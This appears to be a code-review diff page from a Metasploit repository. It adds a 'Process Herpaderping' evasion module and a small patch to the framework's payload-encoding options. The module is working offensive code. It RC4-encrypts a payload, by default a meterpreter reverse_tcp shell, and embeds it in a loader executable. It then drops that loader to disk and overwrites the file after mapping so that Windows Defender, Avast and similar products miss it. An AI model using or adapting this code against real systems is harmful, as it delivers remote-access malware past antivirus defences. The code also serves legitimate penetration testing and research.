<ConformanceMode>true</ConformanceMode>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="ProcessHerpaderpingTemplate.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -218,13 +218,14 @@ module Msf
|
||||
reqs = self.payload_info.dup
|
||||
|
||||
# Pass save register requirements to the NOP generator
|
||||
reqs['Space'] = payload_info['Space'].to_i
|
||||
reqs['Space'] = payload_info['Space'] ? payload_info['Space'].to_i : nil
|
||||
reqs['SaveRegisters'] = module_info['SaveRegisters']
|
||||
reqs['Prepend'] = payload_info['Prepend']
|
||||
reqs['PrependEncoder'] = payload_info['PrependEncoder']
|
||||
reqs['BadChars'] = payload_info['BadChars']
|
||||
reqs['Append'] = payload_info['Append']
|
||||
reqs['AppendEncoder'] = payload_info['AppendEncoder']
|
||||
reqs['DisableNops'] = payload_info['DisableNops']
|
||||
reqs['MaxNops'] = payload_info['MaxNops']
|
||||
reqs['MinNops'] = payload_info['MinNops']
|
||||
reqs['Encoder'] = datastore['ENCODER'] || payload_info['Encoder']
|
||||
@ -232,6 +233,7 @@ module Msf
|
||||
reqs['EncoderType'] = payload_info['EncoderType']
|
||||
reqs['EncoderOptions'] = payload_info['EncoderOptions']
|
||||
reqs['ExtendedOptions'] = payload_info['ExtendedOptions']
|
||||
reqs['ForceEncode'] = payload_info['ForceEncode']
|
||||
reqs['Evasion'] = self
|
||||
|
||||
# Pass along the encoder don't fall through flag
|
||||
|
185
modules/evasion/windows/process_herpaderping.rb
Normal file
185
modules/evasion/windows/process_herpaderping.rb
Normal file
@ -0,0 +1,185 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/compiler/windows'
|
||||
|
||||
class MetasploitModule < Msf::Evasion
|
||||
|
||||
# These constants must match the constants defined in the PE loader code (ProcessHerpaderpingTemplate.cpp)
|
||||
MAX_JUNK_SIZE = 1024
|
||||
MAX_PAYLOAD_SIZE = 8192
|
||||
MAX_KEY_SIZE = 64
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
merge_info(
|
||||
info,
|
||||
'Name' => 'Process Herpaderping evasion technique',
|
||||
'Description' => %q{
|
||||
This module allows you to generate a Windows executable that evades security
|
||||
products such as Windows Defender, Avast, etc. This uses the Process
|
||||
Herpaderping technique to bypass Antivirus detection. This method consists in
|
||||
obscuring the behavior of a running process by modifying the executable on disk
|
||||
after the image has been mapped in memory (more details https://jxy-s.github.io/herpaderping/).
|
||||
|
||||
First, the chosen payload is encrypted and embedded in a loader Portable
|
||||
Executable (PE) file. This file is then included in the final executable. Once
|
||||
this executable is launched on the target, the loader PE is dropped on disk and
|
||||
executed, following the Process Herpaderping technique. Note that the name of
|
||||
the file that is being dropped is randomly generated. However, it is possible
|
||||
to configure the destination path from Metasploit (see `WRITEABLE_DIR` option
|
||||
description).
|
||||
|
||||
Here is the main workflow:
|
||||
1. Retrieve the target name (where the PE loader will be dropped).
|
||||
1. Retrieve the PE loader from the binary and write it on disk.
|
||||
1. Create a section object and create a process from the mapped image.
|
||||
1. Modify the file content on disk by copying another (inoffensive) executable
|
||||
or by using random bytes (see `REPLACED_WITH_FILE` option description).
|
||||
1. Create the main Thread.
|
||||
|
||||
The source code is based on [Johnny Shaw](https://twitter.com/jxy__s)'s
|
||||
[PoC](https://github.com/jxy-s/herpaderping).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Johnny Shaw', # Research and PoC
|
||||
'Christophe De La Fuente' # MSF Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://jxy-s.github.io/herpaderping/' ],
|
||||
[ 'URL', 'https://github.com/jxy-s/herpaderping' ],
|
||||
],
|
||||
'Platform' => 'windows',
|
||||
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
||||
'Payload' => { 'ForceEncode' => true },
|
||||
'Targets' => [
|
||||
[
|
||||
'Microsoft Windows (x64)',
|
||||
{
|
||||
'Arch' => ARCH_X64,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Microsoft Windows (x86)',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('ENCODER', [
|
||||
false,
|
||||
'A specific encoder to use (automatically selected if not set)',
|
||||
nil
|
||||
]),
|
||||
OptString.new('WRITEABLE_DIR', [
|
||||
true,
|
||||
'Where to write the loader on disk',
|
||||
'%TEMP%'
|
||||
]),
|
||||
OptString.new('REPLACED_WITH_FILE', [
|
||||
false,
|
||||
'File to replace the target with. If not set, the target file will be '\
|
||||
'filled with random bytes (WARNING! it is likely to be catched by AV).',
|
||||
'%SystemRoot%\\System32\\calc.exe'
|
||||
])
|
||||
])
|
||||
end
|
||||
|
||||
def patch_binary(bin, tag, value)
|
||||
placeholder = bin.index(tag)
|
||||
unless placeholder
|
||||
fail_with(Failure::BadConfig, "Invalid source binary: missing \"#{tag}\" tag")
|
||||
end
|
||||
|
||||
bin[placeholder, value.size] = value
|
||||
nil
|
||||
end
|
||||
|
||||
def encrypt_payload
|
||||
opts = { format: 'rc4', key: rc4_key }
|
||||
junk = Rex::Text.rand_text(10..MAX_JUNK_SIZE)
|
||||
p = payload.encoded + junk
|
||||
vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
|
||||
Msf::Simple::Buffer.transform(p, 'raw', nil, opts)
|
||||
end
|
||||
|
||||
def rc4_key
|
||||
@rc4_key ||= Rex::Text.rand_text_alpha(32..MAX_KEY_SIZE)
|
||||
end
|
||||
|
||||
def run
|
||||
case target.arch.first
|
||||
when ARCH_X64
|
||||
arch_suffix = 'x64'
|
||||
when ARCH_X86
|
||||
arch_suffix = 'x86'
|
||||
end
|
||||
|
||||
payload = generate_payload
|
||||
if payload.encoded.size > MAX_PAYLOAD_SIZE
|
||||
fail_with(Failure::BadConfig,
|
||||
"Payload too big: #{payload.encoded.size} bytes (max: #{MAX_PAYLOAD_SIZE})")
|
||||
end
|
||||
|
||||
base_path = ::File.join(
|
||||
Msf::Config.data_directory,
|
||||
'evasion',
|
||||
'windows',
|
||||
'process_herpaderping'
|
||||
)
|
||||
exe_path = ::File.join(base_path, "ProcessHerpaderping_#{arch_suffix}.exe")
|
||||
exe_path = ::File.expand_path(exe_path)
|
||||
pe = File.read(exe_path)
|
||||
vprint_status("Using #{exe_path}")
|
||||
|
||||
template_path = ::File.join(base_path, "ProcessHerpaderpingTemplate_#{arch_suffix}.exe")
|
||||
template_path = ::File.expand_path(template_path)
|
||||
payload_pe = File.read(template_path)
|
||||
vprint_status("Using #{template_path}")
|
||||
|
||||
patch_binary(payload_pe, 'ENCKEY', rc4_key)
|
||||
|
||||
vprint_status("RC4 key: #{rc4_key}")
|
||||
|
||||
encrypted_payload = encrypt_payload
|
||||
vprint_status("Encrypted payload size: #{encrypted_payload.size}")
|
||||
|
||||
size_prefix = [encrypted_payload.size].pack('L<')
|
||||
patch_binary(payload_pe, 'PAYLOAD', (size_prefix + encrypted_payload).b)
|
||||
vprint_status("Payload PE size #{payload_pe.size}")
|
||||
|
||||
patch_binary(pe, 'PAYLOAD', payload_pe)
|
||||
|
||||
target_file_name = Rex::Text.rand_text_alpha_lower(4..10)
|
||||
target_path = datastore['WRITEABLE_DIR']
|
||||
target_path << '\\' if target_path.last != '\\'
|
||||
target_path << target_file_name
|
||||
target_path << '.exe'
|
||||
patch_binary(pe, 'TARGETFILENAME', target_path.b)
|
||||
vprint_status("Target filename will be #{target_path}")
|
||||
|
||||
replace_path = datastore['REPLACED_WITH_FILE']
|
||||
if replace_path.nil? || replace_path.empty?
|
||||
replace_path = "\0"
|
||||
end
|
||||
|
||||
patch_binary(pe, 'REPLACEFILENAME', replace_path.b)
|
||||
|
||||
file_create(pe)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user